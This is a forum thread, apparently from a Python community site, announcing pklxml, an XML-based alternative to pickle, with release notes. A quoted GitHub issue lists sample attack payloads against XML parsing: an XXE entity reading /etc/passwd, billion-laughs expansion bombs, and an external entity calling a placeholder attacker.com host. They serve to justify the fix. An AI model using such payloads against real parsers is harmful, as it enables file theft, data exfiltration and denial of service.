pip install pklxml
Hi everyone,
I just released a module called pklxml (Python Pickle Extensible Markup Language), which is a human-readable, XML-based alternative to Python’s built-in pickle
module. It’s designed to serialize and deserialize Python objects to and from XML.
Contribute to RAPTOR7762/pklxml development by creating an account on GitHub.
pklxml - PyPi
(Note: The repo name is going to be changed to reflect the .pklxml
extension.)
Features:
Serialize most Python objects into readable XML
Deserialization back into usable Python objects
Supports custom classes, nested structures, and more
Saves as an XML file, specifically .pklxml
Why?
While pickle
is powerful, it’s binary
I’d love feedback, suggestions, or contributions. Feel free to open pull requests and contribute to this Repository
Do note that I have put it up on PyPi
Thanks!
Edit:
As this is my first topic, I might have posted it in the wrong category…
Edit2:
Added installation instructions
Edit3:
To prevent confusion the new library is called picklexml
2 Likes
Version 0.1.3.post1 is the official stable release for pklxml!
This release was created on 2025-05-27T11:44:00Z
What happened to v1.0.1 and v1.0.2?
These versions were considered as non-production ready so they were removed
Version 0.1.4 released!
Security is now assured! For more details please see
opened 02:45PM - 27 May 25 UTC
closed 02:56PM - 27 May 25 UTC
bug
enhancement
solved
priority-high
## Shortcomings
Currently, things can be a little dangerous as ppl can embed th… ings in XML. Example:
```xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
&xxe;
</root>
```
```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>
```
```xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY a "aaaaaaaaaaaaaaaaaaaa">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
]>
<root>&c;</root>
```
```xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY remote SYSTEM "http://attacker.com/steal">
]>
<root>&remote;</root>
```
## Improvement
Add code to disable parsing `<!ENTITY>` keywords
Version 0.1.5 released!
This would be the last release before v0.2.0
Fixes:
Added test_core.py
Added /examples/example_basic.py
Added /examples/data/example.pklxml
Help wanted!!! Please contribute to my repo! Thanks for your support!
Version 0.2.0 Released
This is a feature release. I have closed 2 issues
opened 02:37PM - 27 May 25 UTC
closed 03:15AM - 01 Jun 25 UTC
enhancement
solved
## Shortcomings
Currently, you cannot save classes and export the data to `.pkl… xml` file.
## Improvement
Add support for classes
opened 03:18AM - 01 Jun 25 UTC
closed 03:19AM - 01 Jun 25 UTC
enhancement
solved
## Shortcomings
Currently <!DOCTYPE> tags are not suppressed, which can pose a… security risk
## Improvement
Suppress <!DOCTYPE> tags
Version 0.2.2 released!
This is a maintenance release. Fixed a bug that will result in a syntax error